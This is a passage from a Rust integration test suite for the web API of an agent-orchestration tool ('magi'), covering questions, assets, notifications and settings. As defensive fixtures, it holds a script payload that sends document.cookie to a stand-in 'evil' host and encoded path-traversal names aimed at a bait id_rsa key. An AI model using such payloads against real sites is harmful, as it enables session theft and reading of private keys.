8305 &[("diff.svg", svg), ("shot.png", png)],
8306 );
8307
8308 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8309 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8310
8311 assert_eq!(as_svg.status, 200);
8312 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8313 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8318
8319 assert_eq!(as_png.status, 200);
8320 assert_eq!(as_png.header("content-type"), Some("image/png"));
8321 assert_eq!(
8322 as_png.header("content-disposition"),
8323 None,
8324 "a raster image has no execution surface, so tapping it still shows it"
8325 );
8326 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8327 }
8328
8329 #[tokio::test]
8330 async fn an_html_asset_is_never_served_as_html() {
8331 let fx = Fixture::start().await;
8332 let id = panel(
8333 &fx,
8334 "<p>see the notes</p>",
8335 &[
8336 (
8337 "notes.html",
8338 b"<script>fetch('http://evil/'+document.cookie)</script>",
8339 ),
8340 ("hook.js", b"fetch('http://evil/')"),
8341 ("data.json", b"{}"),
8342 ("HEADLINE.TXT", b"plain"),
8343 ],
8344 );
8345
8346 for name in ["notes.html", "hook.js", "data.json"] {
8347 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8348 assert_eq!(res.status, 200, "{name}: {}", res.body);
8349 assert_eq!(
8354 res.header("content-type"),
8355 Some("application/octet-stream"),
8356 "{name} must not be a type the browser will execute or render"
8357 );
8358 }
8359 let txt = fx
8362 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8363 .await;
8364 assert_eq!(
8365 txt.header("content-type"),
8366 Some("text/plain; charset=utf-8")
8367 );
8368 }
8369
8370 #[tokio::test]
8371 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8372 let fx = Fixture::start().await;
8373 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8374 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8378
8379 for encoded in [
8386 "%2e%2e%2fid_rsa",
8387 "..%2fid_rsa",
8388 "..%5cid_rsa",
8389 "%2e%2e%5cid_rsa",
8390 "diff%00.svg",
8391 "..",
8392 ".hidden",
8393 "%2e%2e%2f%2e%2e%2fid_rsa",
8394 ] {
8395 let res = fx
8396 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8397 .await;
8398 assert_eq!(
8399 res.status, 400,
8400 "`{encoded}` has to be refused by name, not looked up: {}",
8401 res.body
8402 );
8403 assert!(res.json()["error"].is_string(), "{}", res.body);
8404 }
8405
8406 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8412 let res = fx
8413 .get(&format!("/api/questions/{id}/asset/{literal}"))
8414 .await;
8415 assert_eq!(
8416 res.status, 404,
8417 "`{literal}` must not match the asset route at all: {}",
8418 res.body
8419 );
8420 }
8421 }
8422
8423 #[tokio::test]
8424 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8425 let fx = Fixture::start().await;
8426 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8427 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8428
8429 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8433 assert_eq!(none.status, 404, "{}", none.body);
8434 assert!(none.json()["error"].is_string(), "{}", none.body);
8435 assert_eq!(
8436 fx.head(&format!("/api/questions/{plain}/panel"))
8437 .await
8438 .status,
8439 404,
8440 "the preflight is the only way the client can learn this"
8441 );
8442
8443 let missing = fx
8445 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8446 .await;
8447 assert_eq!(missing.status, 404, "{}", missing.body);
8448 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8449
8450 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8452 assert_eq!(
8453 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8454 404
8455 );
8456 }
8457
8458 #[tokio::test]
8459 async fn a_run_with_an_open_question_reads_as_waiting() {
8460 let fx = Fixture::start().await;
8461 let run = "20260902-000000-beef".to_owned();
8462 write_run(&fx.runs(), &run, RunStatus::Implementing);
8463
8464 let before = fx.get("/api/runs").await.json();
8465 assert_eq!(before[0]["waiting"], false, "{before}");
8466
8467 let store = fx.questions();
8468 let mut q = Question::new(
8469 run.clone(),
8470 "implement".to_owned(),
8471 "impl-A".to_owned(),
8472 "Which backend?".to_owned(),
8473 String::new(),
8474 vec!["SQLite".to_owned()],
8475 );
8476 store.put(&mut q).expect("put");
8477
8478 let during = fx.get("/api/runs").await.json();
8479 assert_eq!(during[0]["waiting"], true, "{during}");
8480
8481 q.answer(Answer::Choice("SQLite".to_owned()))
8484 .expect("answer");
8485 store.put(&mut q).expect("put");
8486 let after = fx.get("/api/runs").await.json();
8487 assert_eq!(after[0]["waiting"], false, "{after}");
8488 }
8489
8490 #[tokio::test]
8491 async fn an_open_question_is_listed_and_counted_by_health() {
8492 let fx = Fixture::start().await;
8493 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8494
8495 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8496 let listed = fx.get("/api/questions").await.json();
8497 assert_eq!(listed.as_array().expect("array").len(), 1);
8498 assert_eq!(listed[0]["id"], id);
8499 assert_eq!(listed[0]["status"], "open");
8500 assert_eq!(listed[0]["choices"][1], "Redis");
8501 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8504 }
8505
8506 #[tokio::test]
8507 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8508 let fx = Fixture::start().await;
8509 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8510 let path = format!("/api/questions/{id}/answer");
8511
8512 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8513 assert_eq!(res.status, 200, "{}", res.body);
8514 let body = res.json();
8515 assert_eq!(body["status"], "answered");
8516 assert_eq!(body["answer"]["choice"], "Redis");
8517
8518 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8522 assert_eq!(again.status, 409, "{}", again.body);
8523 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8524 }
8525
8526 #[tokio::test]
8527 async fn saying_something_appends_a_turn_without_answering() {
8528 let fx = Fixture::start().await;
8529 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8530 let path = format!("/api/questions/{id}/say");
8531
8532 let res = fx
8533 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8534 .await;
8535 assert_eq!(res.status, 200, "{}", res.body);
8536 let body = res.json();
8537 assert_eq!(body["status"], "open", "talking back is not a decision");
8538 assert_eq!(body["answer"], Value::Null);
8539 assert_eq!(body["thread"][0]["who"], "operator");
8540 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8541 assert_eq!(body["waiting_on_agent"], true);
8542 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8544 }
8545
8546 #[tokio::test]
8547 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8548 let fx = Fixture::start().await;
8549 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8550
8551 let list = fx.get("/api/questions").await.json();
8552 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8553
8554 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8555 assert_eq!(res.status, 409, "{}", res.body);
8556 let q = fx.questions().get(&id).unwrap();
8557 assert!(q.status.open());
8558 assert!(q.consult.is_none());
8559 }
8560
8561 #[tokio::test]
8562 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8563 let fx = Fixture::start().await;
8564 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8565 let cfg = Config {
8566 agents: vec![crate::config::AgentSpec {
8567 id: "mock".to_owned(),
8568 kind: crate::config::AgentKind::Command,
8569 model: None,
8570 command: vec!["true".to_owned()],
8571 extra_args: Vec::new(),
8572 env: Default::default(),
8573 prompt_delivery: None,
8574 }],
8575 ..Config::default()
8576 };
8577 let talk = crate::talk::begin(
8578 &fx.talks(),
8579 &cfg,
8580 fx.home.path().to_path_buf(),
8581 Some("mock"),
8582 )
8583 .unwrap();
8584 let mut task = Task::new(
8585 "t".to_owned(),
8586 "Do it".to_owned(),
8587 PathBuf::from("/repo/magi"),
8588 Source::Agent {
8589 run: talk.id.clone(),
8590 node: crate::queue::CHAT_NODE.to_owned(),
8591 },
8592 );
8593 task.start("20260902-000000-beef".to_owned());
8594 fx.queue().put(&mut task).unwrap();
8595
8596 let list = fx.get("/api/questions").await.json();
8597 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8598 assert_eq!(
8599 list[0]["choices"],
8600 serde_json::json!(["SQLite", "Redis"]),
8601 "the hand-over is never a choice"
8602 );
8603 fx.questions()
8604 .update(&id, |q| {
8605 q.node = crate::land::APPROVAL_NODE.into();
8606 q.choices = vec!["merge".into(), "hold".into()];
8607 Ok(())
8608 })
8609 .unwrap();
8610 let list = fx.get("/api/questions").await.json();
8611 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8612 let _ = id;
8613 }
8614
8615 #[tokio::test]
8616 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8617 let fx = Fixture::start().await;
8618 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8619 fx.questions()
8620 .update(&id, |q| {
8621 q.node = crate::land::APPROVAL_NODE.into();
8622 q.choices = vec!["merge".into(), "hold".into()];
8623 Ok(())
8624 })
8625 .unwrap();
8626 let cfg = Config {
8627 agents: vec![crate::config::AgentSpec {
8628 id: "mock".to_owned(),
8629 kind: crate::config::AgentKind::Command,
8630 model: None,
8631 command: vec!["true".to_owned()],
8632 extra_args: Vec::new(),
8633 env: Default::default(),
8634 prompt_delivery: None,
8635 }],
8636 ..Config::default()
8637 };
8638 let repo = fx.home.path().join("chat-repo");
8640 std::fs::create_dir_all(&repo).unwrap();
8641 let toml = repo.join("magi.toml");
8642 std::fs::write(&toml, "this is = = not toml").unwrap();
8643 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8644 let mut task = Task::new(
8645 "t".to_owned(),
8646 "Do it".to_owned(),
8647 PathBuf::from("/repo/magi"),
8648 Source::Agent {
8649 run: talk.id.clone(),
8650 node: crate::queue::CHAT_NODE.to_owned(),
8651 },
8652 );
8653 task.start("20260902-000000-beef".to_owned());
8654 fx.queue().put(&mut task).unwrap();
8655
8656 let path = format!("/api/questions/{id}/consult");
8657 let res = fx.post(&path, None).await;
8658 assert!(res.status >= 400, "{}", res.body);
8659 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8660 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8661
8662 std::fs::write(&toml, "").unwrap();
8663 let res = fx.post(&path, None).await;
8664 assert_eq!(res.status, 202, "{}", res.body);
8665 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8666 let q = fx.questions().get(&id).unwrap();
8667 assert!(q.status.open());
8668 assert!(q.answer.is_none());
8669 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
8670 }
8671
8672 #[tokio::test]
8673 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8674 let fx = Fixture::start().await;
8675 let store = fx.questions();
8676 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8677 assert_eq!(
8678 fx.get("/api/health").await.json()["questions_needs_owner"],
8679 1
8680 );
8681
8682 let res = fx
8688 .post(
8689 &format!("/api/questions/{id}/say"),
8690 Some(r#"{"body":"why not Postgres?"}"#),
8691 )
8692 .await;
8693 assert_eq!(res.status, 200, "{}", res.body);
8694 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8695 assert_eq!(
8696 fx.get("/api/health").await.json()["questions_needs_owner"],
8697 0,
8698 "waiting on the agent is not waiting on the owner"
8699 );
8700
8701 let mut q = store.get(&id).expect("get");
8705 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8706 .expect("reply");
8707 store.put(&mut q).expect("put");
8708 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8709 assert_eq!(
8710 fx.get("/api/health").await.json()["questions_needs_owner"],
8711 1,
8712 "the agent's reply is what should light the banner back up"
8713 );
8714 }
8715
8716 #[tokio::test]
8717 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8718 let fx = Fixture::start().await;
8719 let store = fx.questions();
8720
8721 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8722 let res = fx
8723 .post(
8724 &format!("/api/questions/{empty_id}/say"),
8725 Some(r#"{"body":" "}"#),
8726 )
8727 .await;
8728 assert_eq!(res.status, 400, "{}", res.body);
8729
8730 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8731 let mut answered = store.get(&answered_id).expect("get");
8732 answered
8733 .answer(Answer::Choice("SQLite".to_owned()))
8734 .expect("answer");
8735 store.put(&mut answered).expect("put");
8736 let res = fx
8737 .post(
8738 &format!("/api/questions/{answered_id}/say"),
8739 Some(r#"{"body":"still there?"}"#),
8740 )
8741 .await;
8742 assert_eq!(res.status, 409, "{}", res.body);
8743
8744 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8745 let mut abandoned = store.get(&abandoned_id).expect("get");
8746 abandoned.abandon("timed out");
8747 store.put(&mut abandoned).expect("put");
8748 let res = fx
8749 .post(
8750 &format!("/api/questions/{abandoned_id}/say"),
8751 Some(r#"{"body":"still there?"}"#),
8752 )
8753 .await;
8754 assert_eq!(res.status, 409, "{}", res.body);
8755 }
8756
8757 #[tokio::test]
8758 async fn an_answer_the_question_does_not_offer_is_refused() {
8759 let fx = Fixture::start().await;
8760 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8761 let path = format!("/api/questions/{id}/answer");
8762
8763 for body in [
8764 r#"{"choice":"Postgres"}"#,
8765 r#"{"text":"whatever you think"}"#,
8766 r#"{"choice":"Redis","text":"both"}"#,
8767 r#"{}"#,
8768 ] {
8769 let res = fx.post(&path, Some(body)).await;
8770 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8771 assert!(res.json()["error"].is_string(), "{}", res.body);
8772 }
8773 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8775 }
8776
8777 #[tokio::test]
8778 async fn a_free_text_question_takes_text_and_not_a_choice() {
8779 let fx = Fixture::start().await;
8780 let id = ask(&fx, "What should the flag be called?", &[]);
8781 let path = format!("/api/questions/{id}/answer");
8782
8783 assert_eq!(
8784 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8785 400
8786 );
8787 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8788 assert_eq!(res.status, 200, "{}", res.body);
8789 assert_eq!(res.json()["answer"]["text"], "--json");
8790 }
8791
8792 #[tokio::test]
8793 async fn an_unknown_question_is_a_json_404() {
8794 let fx = Fixture::start().await;
8795 let res = fx
8796 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8797 .await;
8798 assert_eq!(res.status, 404, "{}", res.body);
8799 assert!(res.json()["error"].is_string());
8800 }
8801
8802 #[tokio::test]
8803 async fn notifications_list_read_dismiss_and_health_agree() {
8804 let fx = Fixture::start().await;
8805 let store = Notices::at(fx.home.path().join("notifications"));
8806 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8807 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8808
8809 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8810 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8811
8812 let health = fx.get("/api/health").await.json();
8813 assert_eq!(health["notifications_unread"], 2);
8814 assert_ne!(
8815 health["notifications_rev"], rev0,
8816 "the badge must move live"
8817 );
8818
8819 let listed = fx.get("/api/notifications").await.json();
8820 assert_eq!(listed["unread"], 2);
8821 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8822 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8823
8824 let read = fx
8825 .post(&format!("/api/notifications/{}/read", a.id), None)
8826 .await;
8827 assert_eq!(read.status, 200, "{}", read.body);
8828 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8829
8830 let gone = fx
8831 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8832 .await;
8833 assert_eq!(gone.status, 200, "{}", gone.body);
8834 let listed = fx.get("/api/notifications").await.json();
8835 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8836 assert_eq!(listed["unread"], 0);
8837
8838 store.raise(Notice::info("x", "again")).unwrap();
8839 let all = fx.post("/api/notifications/read-all", None).await;
8840 assert_eq!(all.status, 200, "{}", all.body);
8841 assert_eq!(all.json()["marked"], 1);
8842 assert_eq!(
8843 fx.get("/api/health").await.json()["notifications_unread"],
8844 0
8845 );
8846
8847 let missing = fx.post("/api/notifications/nope/read", None).await;
8848 assert_eq!(missing.status, 404, "{}", missing.body);
8849 assert!(missing.json()["error"].is_string());
8850 }
8851
8852 #[tokio::test]
8859 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8860 let f = Fixture::start().await;
8861
8862 let res = f
8863 .post(
8864 "/api/queue",
8865 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8866 )
8867 .await;
8868
8869 assert_eq!(
8870 res.status, 405,
8871 "POST /api/queue must not be a route: {}",
8872 res.body
8873 );
8874 assert!(
8875 f.queue().list().is_empty(),
8876 "a task filed by a route that does not exist must not reach the disk"
8877 );
8878 assert_eq!(f.get("/api/queue").await.status, 200);
8881 }
8882
8883 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8885 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8886 .expect("checkout dir");
8887 }
8888
8889 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8891
8892 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8893 let tmp = TempDir::new().expect("tempdir");
8894 let repo = tmp.path().join("repo");
8895 std::fs::create_dir_all(&repo).expect("repo dir");
8896 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8897 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8898 if let Some(text) = machine_toml {
8899 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8900 std::fs::write(&machine, text).expect("machine toml");
8901 }
8902 (tmp, repo, machine)
8903 }
8904
8905 #[tokio::test]
8906 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8907 let (_tmp, repo, machine) =
8908 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8909 let f = Fixture::with_repo_and_machine(repo, machine).await;
8910 let res = f.get("/api/settings").await;
8911 assert_eq!(res.status, 200, "{}", res.body);
8912 let v = res.json();
8913 assert!(v["error"].is_null(), "{v}");
8914 let role = |k: &str| {
8915 v["roles"]
8916 .as_array()
8917 .and_then(|r| r.iter().find(|x| x["key"] == k))
8918 .cloned()
8919 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8920 };
8921 assert_eq!(role("judges")["source"], "machine");
8922 assert_eq!(role("judges")["editable"], true);
8923 assert_eq!(role("implementers")["source"], "default");
8924 let adv = role("advisors");
8925 assert_eq!(adv["fallback"], "judges");
8926 assert!(
8927 adv["seats"]
8928 .as_array()
8929 .is_some_and(|s| s.iter().all(|x| x == "b")),
8930 "{adv}"
8931 );
8932 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8933 assert_eq!(v["agents"][0]["source"], "repo");
8934 }
8935
8936 #[tokio::test]
8937 async fn settings_get_reports_a_config_that_does_not_parse() {
8938 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8939 let f = Fixture::with_repo_and_machine(repo, machine).await;
8940 let res = f.get("/api/settings").await;
8941 assert_eq!(res.status, 200, "{}", res.body);
8942 let v = res.json();
8943 assert!(v["error"]["message"].is_string(), "{v}");
8944 assert!(
8945 v["error"]["path"]
8946 .as_str()
8947 .is_some_and(|p| p.ends_with("magi.toml")),
8948 "{v}"
8949 );
8950 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8951 }
8952
8953 #[tokio::test]
8954 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8955 let (_tmp, repo, machine) = settings_dirs(
8956 SETTINGS_AGENTS,
8957 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8958 );
8959 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8960 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8961 let rev = f.get("/api/settings").await.json()["revision"]
8962 .as_str()
8963 .expect("revision")
8964 .to_owned();
8965 let body = serde_json::json!({
8966 "revision": rev,
8967 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8968 })
8969 .to_string();
8970 let res = f.put("/api/settings/roles", &body).await;
8971 assert_eq!(res.status, 200, "{}", res.body);
8972 let text = std::fs::read_to_string(&machine).expect("machine");
8973 assert_eq!(
8974 text,
8975 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8976 );
8977 assert_eq!(
8978 std::fs::read(repo.join("magi.toml")).expect("read"),
8979 repo_before
8980 );
8981 let again = f.get("/api/settings").await.json();
8982 let judges = again["roles"]
8983 .as_array()
8984 .expect("roles")
8985 .iter()
8986 .find(|r| r["key"] == "judges")
8987 .expect("judges")
8988 .clone();
8989 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8990 let stale = f.put("/api/settings/roles", &body).await;
8992 assert_eq!(stale.status, 409, "{}", stale.body);
8993 }
8994
8995 #[tokio::test]
8996 async fn settings_counts_are_reported_and_saved() {
8997 let (_tmp, repo, machine) = settings_dirs(
8998 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8999 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9000 );
9001 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9002 let v = f.get("/api/settings").await.json();
9003 let count = |v: &serde_json::Value, k: &str| {
9004 v["roles"]
9005 .as_array()
9006 .and_then(|r| r.iter().find(|x| x["key"] == k))
9007 .map(|x| x["count"].clone())
9008 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9009 };
9010 let imp = count(&v, "implementers");
9011 assert_eq!(imp["value"], 2);
9012 assert_eq!(imp["source"], "machine");
9013 assert_eq!(imp["file_key"], "candidates");
9014 assert_eq!(imp["roster_len"], 2);
9015 assert_eq!(imp["backups"], 0);
9016 assert_eq!(count(&v, "judges")["source"], "default");
9017 assert_eq!(count(&v, "advisors")["min"], 0);
9018 assert_eq!(count(&v, "reviewers")["editable"], false);
9019 assert!(
9020 count(&v, "reviewers")["locked_reason"]
9021 .as_str()
9022 .is_some_and(|m| m.contains("graph.reviewers"))
9023 );
9024 assert!(count(&v, "fixer").is_null());
9025 let rev = v["revision"].as_str().expect("revision").to_owned();
9026 let body = serde_json::json!({
9027 "revision": rev,
9028 "roles": { "judges": ["b"] },
9029 "counts": { "implementers": 1, "advisors": 0 }
9030 })
9031 .to_string();
9032 let res = f.put("/api/settings/roles", &body).await;
9033 assert_eq!(res.status, 200, "{}", res.body);
9034 let text = std::fs::read_to_string(&machine).expect("machine");
9035 assert_eq!(
9036 text,
9037 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9038 );
9039 let after = f.get("/api/settings").await.json();
9040 assert_eq!(count(&after, "implementers")["value"], 1);
9041 assert_eq!(count(&after, "implementers")["backups"], 1);
9042 assert_eq!(count(&after, "advisors")["value"], 0);
9043 let before = std::fs::read_to_string(&machine).expect("machine");
9044 let rev = after["revision"].as_str().expect("revision").to_owned();
9045 for counts in [
9046 serde_json::json!({ "judges": 0 }),
9047 serde_json::json!({ "judges": "x" }),
9048 serde_json::json!({ "judges": 2.5 }),
9049 serde_json::json!({ "judges": -1 }),
9050 serde_json::json!({ "reviewers": 3 }),
9051 serde_json::json!({ "bogus": 3 }),
9052 ] {
9053 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9054 let res = f.put("/api/settings/roles", &body).await;
9055 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9056 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9057 }
9058 }
9059
9060 #[tokio::test]
9061 async fn settings_put_refuses_without_touching_the_file() {
9062 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9063 let (_tmp, repo, machine) = settings_dirs(
9064 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9065 Some(machine_text),
9066 );
9067 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9068 let rev = f.get("/api/settings").await.json()["revision"]
9069 .as_str()
9070 .expect("revision")
9071 .to_owned();
9072 for roles in [
9073 serde_json::json!({ "judges": ["nope"] }),
9074 serde_json::json!({ "reviewers": ["b"] }),
9075 serde_json::json!({ "bogus": ["a"] }),
9076 ] {
9077 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9078 let res = f.put("/api/settings/roles", &body).await;
9079 assert_eq!(res.status, 422, "{roles}: {}", res.body);
9080 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9081 assert_eq!(
9082 std::fs::read_to_string(&machine).expect("machine"),
9083 machine_text
9084 );
9085 }
9086 }
9087
9088 #[tokio::test]
9089 async fn repos_list_returns_name_and_path_for_every_configured_root() {
9090 let tmp = TempDir::new().expect("tempdir");
9091 let repo = tmp.path().join("repo");
9092 std::fs::create_dir_all(&repo).expect("repo dir");
9093 let root = tmp.path().join("root");
9094 make_checkout(&root, "github.com", "yukimemi", "magi");
9095 std::fs::write(
9096 repo.join("magi.toml"),
9097 format!(
9098 "[repos]\nroots = [{:?}]\n",
9099 root.to_string_lossy().into_owned()
9100 ),
9101 )
9102 .expect("write magi.toml");
9103
9104 let f = Fixture::with_repo(repo).await;
9105 let res = f.get("/api/repos").await;
9106 assert_eq!(res.status, 200, "{}", res.body);
9107 let list = res.json();
9108 let repos = list.as_array().expect("an array");
9109 assert_eq!(repos.len(), 1);
9110 assert_eq!(repos[0]["name"], "yukimemi/magi");
9111 assert!(
9112 repos[0]["path"]
9113 .as_str()
9114 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9115 "{list}"
9116 );
9117 }
9118
9119 #[tokio::test]
9120 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9121 let tmp = TempDir::new().expect("tempdir");
9122 let repo = tmp.path().join("repo");
9123 std::fs::create_dir_all(&repo).expect("repo dir");
9124 let root = tmp.path().join("root");
9125 make_checkout(&root, "github.com", "yukimemi", "magi");
9126 std::fs::write(
9127 repo.join("magi.toml"),
9128 format!(
9129 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9130 root.to_string_lossy().into_owned()
9131 ),
9132 )
9133 .expect("write magi.toml");
9134
9135 let f = Fixture::with_repo(repo).await;
9136 let first = f.get("/api/repos").await;
9137 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9138
9139 make_checkout(&root, "github.com", "yukimemi", "rvpm");
9142 let second = f.get("/api/repos").await;
9143 assert_eq!(
9144 second.json().as_array().map(Vec::len),
9145 Some(1),
9146 "a fresh cache must not rescan inside the TTL"
9147 );
9148
9149 let refreshed = f.get("/api/repos?refresh=1").await;
9150 assert_eq!(
9151 refreshed.json().as_array().map(Vec::len),
9152 Some(2),
9153 "an explicit refresh must rescan even inside the TTL"
9154 );
9155 }
9156
9157 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9163
9164 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9168 let tmp = TempDir::new().expect("tempdir");
9169 let repo = tmp.path().join("repo");
9170 std::fs::create_dir_all(&repo).expect("repo dir");
9171 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9172 let f = Fixture::with_repo(repo.clone()).await;
9173 (tmp, repo, f)
9174 }
9175
9176 #[tokio::test]
9177 async fn posting_a_talk_with_remembered_choices_is_soft() {
9178 let (_tmp, _repo, f) = talk_fixture().await;
9179
9180 let good = f
9181 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9182 .await;
9183 assert_eq!(good.status, 201, "{}", good.body);
9184 assert_eq!(good.json()["persona"], "rei");
9185
9186 let stale = f
9188 .post(
9189 "/api/talks",
9190 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9191 )
9192 .await;
9193 assert_eq!(stale.status, 201, "{}", stale.body);
9194 let v = stale.json();
9195 assert_eq!(v["implementers"], 1);
9196 assert_ne!(v["persona"], "nobody");
9197 let typed = f
9198 .post(
9199 "/api/talks",
9200 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9201 )
9202 .await;
9203 assert_eq!(typed.status, 201, "{}", typed.body);
9204
9205 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9207 assert!(
9208 !strict.status.to_string().starts_with('2'),
9209 "{}",
9210 strict.body
9211 );
9212 }
9213
9214 #[tokio::test]
9215 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9216 let (_tmp, _repo, f) = talk_fixture().await;
9217
9218 let opened = f.post("/api/talks", None).await;
9221 assert_eq!(opened.status, 201, "{}", opened.body);
9222 let body = opened.json();
9223 assert_eq!(body["status"], "open");
